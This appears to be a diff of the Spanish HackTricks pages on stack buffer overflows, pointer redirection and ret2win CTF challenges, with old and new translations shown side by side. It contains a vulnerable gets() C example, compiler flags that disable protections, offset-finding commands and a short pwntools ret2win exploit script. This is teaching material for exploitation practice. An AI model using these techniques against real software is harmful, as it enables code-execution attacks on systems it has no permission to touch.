* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## ¿Qué es un desbordamiento de pila? ## ¿Qué es un Desbordamiento de Pila?
Un **desbordamiento de pila** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le asignan para contener. Estos datos adicionales **sobrescribirán el espacio de memoria adyacente**, lo que provocará la corrupción de datos válidos, la interrupción del flujo de control y potencialmente la ejecución de código malicioso. Este problema suele surgir debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada. Un **desbordamiento de pila** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Este exceso de datos **sobrescribirá el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan verificación de límites en la entrada.
El principal problema de esta sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero de base guardado (EBP/RBP)** para volver a la función anterior se **almacenan en la pila**. Por lo tanto, un atacante podrá sobrescribir esos valores y **controlar el flujo de ejecución del programa**. El principal problema de este sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para regresar a la función anterior están **almacenados en la pila**. Por lo tanto, un atacante podrá sobrescribir esos y **controlar el flujo de ejecución del programa**.
La vulnerabilidad suele surgir porque una función **copia dentro de la pila más bytes de los asignados para ella**, pudiendo sobrescribir otras partes de la pila. La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de los que se le han asignado**, pudiendo así sobrescribir otras partes de la pila.
Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read` & `memcpy`** que toman un **argumento de longitud**, podrían utilizarse de manera vulnerable si la longitud especificada es mayor que la asignada. Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read` & `memcpy`** que toman un **argumento de longitud**, podrían usarse de manera vulnerable si la longitud especificada es mayor que la asignada.
Por ejemplo, las siguientes funciones podrían ser vulnerables: Por ejemplo, las siguientes funciones podrían ser vulnerables:
```c ```c
@ -33,15 +34,15 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer); printf("You entered: %s\n", buffer);
} }
``` ```
### Encontrar desplazamientos de desbordamiento de pila ### Encontrando los offsets de desbordamiento de pila
La forma más común de encontrar desbordamientos de pila es proporcionar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se intentó acceder a la **dirección `0x41414141`**. La forma más común de encontrar desbordamientos de pila es dar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se intentó acceder a la **dirección `0x41414141`**.
Además, una vez que se haya encontrado que hay una vulnerabilidad de desbordamiento de pila, será necesario encontrar el desplazamiento hasta que sea posible **sobrescribir la dirección de retorno**, para esto generalmente se utiliza una **secuencia de De Bruijn**. Que para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_ es una **secuencia cíclica en la que cada subsecuencia posible de longitud _n_** aparece exactamente una vez como una subsecuencia contigua. Además, una vez que hayas encontrado que hay una vulnerabilidad de desbordamiento de pila, necesitarás encontrar el offset hasta que sea posible **sobrescribir la dirección de retorno**, para esto se suele utilizar una **secuencia de De Bruijn.** La cual, para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada posible subsecuencia de longitud \_n**\_\*\* aparece exactamente una vez\*\* como una subsecuencia contigua.
De esta manera, en lugar de tener que averiguar manualmente qué desplazamiento se necesita para controlar el EIP, es posible usar una de estas secuencias como relleno y luego encontrar el desplazamiento de los bytes que terminaron sobrescribiéndola. De esta manera, en lugar de necesitar averiguar manualmente qué offset se necesita para controlar el EIP, es posible usar como relleno una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola.
Es posible utilizar **pwntools** para esto: Es posible usar **pwntools** para esto:
```python ```python
from pwn import * from pwn import *
@ -62,20 +63,20 @@ pattern search $rsp #Search the offset given the content of $rsp
``` ```
## Explotando Desbordamientos de Pila ## Explotando Desbordamientos de Pila
Durante un desbordamiento (suponiendo que el tamaño del desbordamiento es lo suficientemente grande) podrás **sobrescribir** valores de variables locales dentro de la pila hasta alcanzar el **EBP/RBP y EIP/RIP guardados (o incluso más)**.\ Durante un desbordamiento (suponiendo que el tamaño del desbordamiento sea lo suficientemente grande) podrás **sobrescribir** valores de variables locales dentro de la pila hasta alcanzar el **EBP/RBP y EIP/RIP guardados (o incluso más)**.\
La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine, el **flujo de control sea redirigido a donde el usuario lo especifique** en este puntero. La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine, el **flujo de control se redirija a donde el usuario especificó** en este puntero.
Sin embargo, en otros escenarios tal vez solo **sobrescribir algunos valores de variables en la pila** sea suficiente para la explotación (como en desafíos CTF fáciles). Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de variables en la pila** podría ser suficiente para la explotación (como en desafíos CTF fáciles).
### Ret2win ### Ret2win
En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca es llamada** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **offset para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaría deshabilitado) para que cuando la función vulnerable retorne, se llame a la función oculta: En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta:
{% content-ref url="ret2win/" %} {% content-ref url="ret2win/" %}
[ret2win](ret2win/) [ret2win](ret2win/)
{% endcontent-ref %} {% endcontent-ref %}
### Shellcode en la Pila ### Shellcode en Pila
En este escenario, el atacante podría colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario: En este escenario, el atacante podría colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
@ -83,17 +84,17 @@ En este escenario, el atacante podría colocar un shellcode en la pila y abusar
[stack-shellcode](stack-shellcode/) [stack-shellcode](stack-shellcode/)
{% endcontent-ref %} {% endcontent-ref %}
### Técnicas ROP y Ret2... ### Técnicas ROP & Ret2...
Esta técnica es el marco fundamental para evadir la protección principal de la técnica anterior: **No ejecución en la pila (NX)**. Y permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios abusando de las instrucciones existentes en el binario: Esta técnica es el marco fundamental para eludir la principal protección de la técnica anterior: **Pila no ejecutable (NX)**. Y permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios al abusar de instrucciones existentes en el binario:
{% content-ref url="../rop-return-oriented-programing/" %} {% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/) [rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %} {% endcontent-ref %}
## Desbordamientos de Montón ## Desbordamientos de Heap
Un desbordamiento no siempre ocurrirá en la pila, también podría ocurrir en el **montón**, por ejemplo: Un desbordamiento no siempre va a estar en la pila, también podría estar en el **heap**, por ejemplo:
{% content-ref url="../libc-heap/heap-overflow.md" %} {% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md) [heap-overflow.md](../libc-heap/heap-overflow.md)
@ -101,22 +102,23 @@ Un desbordamiento no siempre ocurrirá en la pila, también podría ocurrir en e
## Tipos de protecciones ## Tipos de protecciones
Existen varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en: Hay varias protecciones tratando de prevenir la explotación de vulnerabilidades, revísalas en:
{% content-ref url="../common-binary-protections-and-bypasses/" %} {% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/) [common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Redirección de Punteros # Redirección de Punteros
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
## Punteros de Cadena ## Punteros de Cadenas
Si una llamada a función va a utilizar la dirección de una cadena que se encuentra en la pila, es posible abusar del desbordamiento de búfer para **sobrescribir esta dirección** y colocar una **dirección a una cadena diferente** dentro del binario. Si una llamada a función va a usar una dirección de una cadena que se encuentra en la pila, es posible abusar del desbordamiento de búfer para **sobrescribir esta dirección** y poner una **dirección a una cadena diferente** dentro del binario.
Si, por ejemplo, una llamada a la función **`system`** va a **utilizar la dirección de una cadena para ejecutar un comando**, un atacante podría colocar la **dirección de una cadena diferente en la pila**, **`export PATH=.:$PATH`** y crear en el directorio actual un **script con el nombre de la primera letra de la nueva cadena** ya que este será ejecutado por el binario. Si, por ejemplo, una llamada a la función **`system`** va a **usar la dirección de una cadena para ejecutar un comando**, un atacante podría colocar la **dirección de una cadena diferente en la pila**, **`export PATH=.:$PATH`** y crear en el directorio actual un **script con el nombre de la primera letra de la nueva cadena** ya que esto será ejecutado por el binario.
Puedes encontrar un **ejemplo** de esto en: Puedes encontrar un **ejemplo** de esto en:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html) * [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
* 32 bits, cambia la dirección a la cadena de flags en la pila para que sea impresa por `puts` * 32bit, cambiar la dirección a la cadena de flags en la pila para que sea impresa por `puts`
## Punteros de Función ## Punteros de Función
Igual que el puntero de cadena pero aplicado a funciones, si la **pila contiene la dirección de una función** que será llamada, es posible **cambiarla** (por ejemplo, para llamar a **`system`**). Lo mismo que el puntero de cadena pero aplicando a funciones, si la **pila contiene la dirección de una función** que será llamada, es posible **cambiarla** (por ejemplo, para llamar a **`system`**).
Puedes encontrar un ejemplo en: Puedes encontrar un ejemplo en:
@ -38,16 +39,17 @@ Puedes encontrar un ejemplo en:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Ret2win # Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
Los desafíos de **Ret2win** son una categoría popular en competiciones de **Capture The Flag (CTF)**, especialmente en tareas que involucran **explotación binaria**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica no invocada dentro del binario, a menudo nombrada como `win`, `flag`, etc. Esta función, al ejecutarse, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución hacia la función deseada. Aquí tienes una explicación más detallada con ejemplos: Los desafíos de **Ret2win** son una categoría popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **binary exploitation**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada, dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos:
### Ejemplo en C ### Ejemplo en C
@ -43,15 +44,15 @@ Para compilar este programa sin protecciones de pila y con **ASLR** deshabilitad
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
* `-m32`: Compila el programa como un binario de 32 bits (esto es opcional pero común en desafíos de CTF). * `-m32`: Compila el programa como un binario de 32 bits (esto es opcional pero común en desafíos CTF).
* `-fno-stack-protector`: Deshabilita las protecciones contra desbordamientos de pila. * `-fno-stack-protector`: Desactiva las protecciones contra desbordamientos de pila.
* `-z execstack`: Permite la ejecución de código en la pila. * `-z execstack`: Permite la ejecución de código en la pila.
* `-no-pie`: Deshabilita el Ejecutable de Posición Independiente para asegurar que la dirección de la función `win` no cambie. * `-no-pie`: Desactiva el ejecutable independiente de la posición para asegurar que la dirección de la función `win` no cambie.
* `-o vulnerable`: Nombre el archivo de salida como `vulnerable`. * `-o vulnerable`: Nombra el archivo de salida `vulnerable`.
### Exploit en Python usando Pwntools ### Python Exploit usando Pwntools
Para el exploit, utilizaremos **pwntools**, un potente marco de trabajo de CTF para escribir exploits. El script de exploit creará un payload para desbordar el búfer y sobrescribir la dirección de retorno con la dirección de la función `win`. Para el exploit, utilizaremos **pwntools**, un poderoso marco CTF para escribir exploits. El script de exploit creará una carga útil para desbordar el búfer y sobrescribir la dirección de retorno con la dirección de la función `win`.
```python ```python
from pwn import * from pwn import *
@ -71,18 +72,18 @@ payload = b'A' * 68 + win_addr
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Para encontrar la dirección de la función `win`, puedes usar **gdb**, **objdump**, u otra herramienta que te permita inspeccionar archivos binarios. Por ejemplo, con `objdump`, podrías usar: Para encontrar la dirección de la función `win`, puedes usar **gdb**, **objdump** o cualquier otra herramienta que te permita inspeccionar archivos binarios. Por ejemplo, con `objdump`, podrías usar:
```sh ```sh
objdump -d vulnerable | grep win objdump -d vulnerable | grep win
``` ```
Este comando mostrará el ensamblado de la función `win`, incluyendo su dirección de inicio. Este comando te mostrará el ensamblaje de la función `win`, incluyendo su dirección de inicio.&#x20;
El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y se imprime el mensaje. El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y el mensaje se imprime.
## Protecciones ## Protecciones
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la dirección sea confiable en ejecuciones sucesivas, de lo contrario la dirección donde se almacenará la función no será siempre la misma y se necesitaría alguna filtración para averiguar dónde se encuentra cargada la función `win`. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, se puede realizar un **Sobrescribir Parcial** de 1 o 2 bytes para cambiar la dirección de retorno y que apunte a la función `win`. Debido a cómo funciona ASLR, los últimos tres nibbles hexadecimales no se aleatorizan, por lo que hay una **probabilidad de 1/16** (1 nibble) de obtener la dirección de retorno correcta. * [**PIE**](../../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna leak para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Partial Overwrite** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta.
* Los [**Canarios de Pila**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno comprometida de EIP nunca será seguida. * [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
## Otros ejemplos y Referencias ## Otros ejemplos y Referencias
@ -90,25 +91,25 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html) * [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32 bits, sin ASLR * 32 bits, sin ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 bits con ASLR, con una filtración de la dirección binaria * 64 bits con ASLR, con una leak de la dirección binaria
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bits, sin ASLR * 64 bits, sin ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bits, sin ASLR, doble desbordamiento pequeño, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento * 32 bits, sin ASLR, doble pequeño desbordamiento, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función `win` (ret2win) * 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html) * [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 bits, nx, nada más, sobrescribir parcialmente EIP (1 byte) para llamar a la función `win` * 32 bits, nx, nada más, sobrescritura parcial de EIP (1Byte) para llamar a la función win
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html) * [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
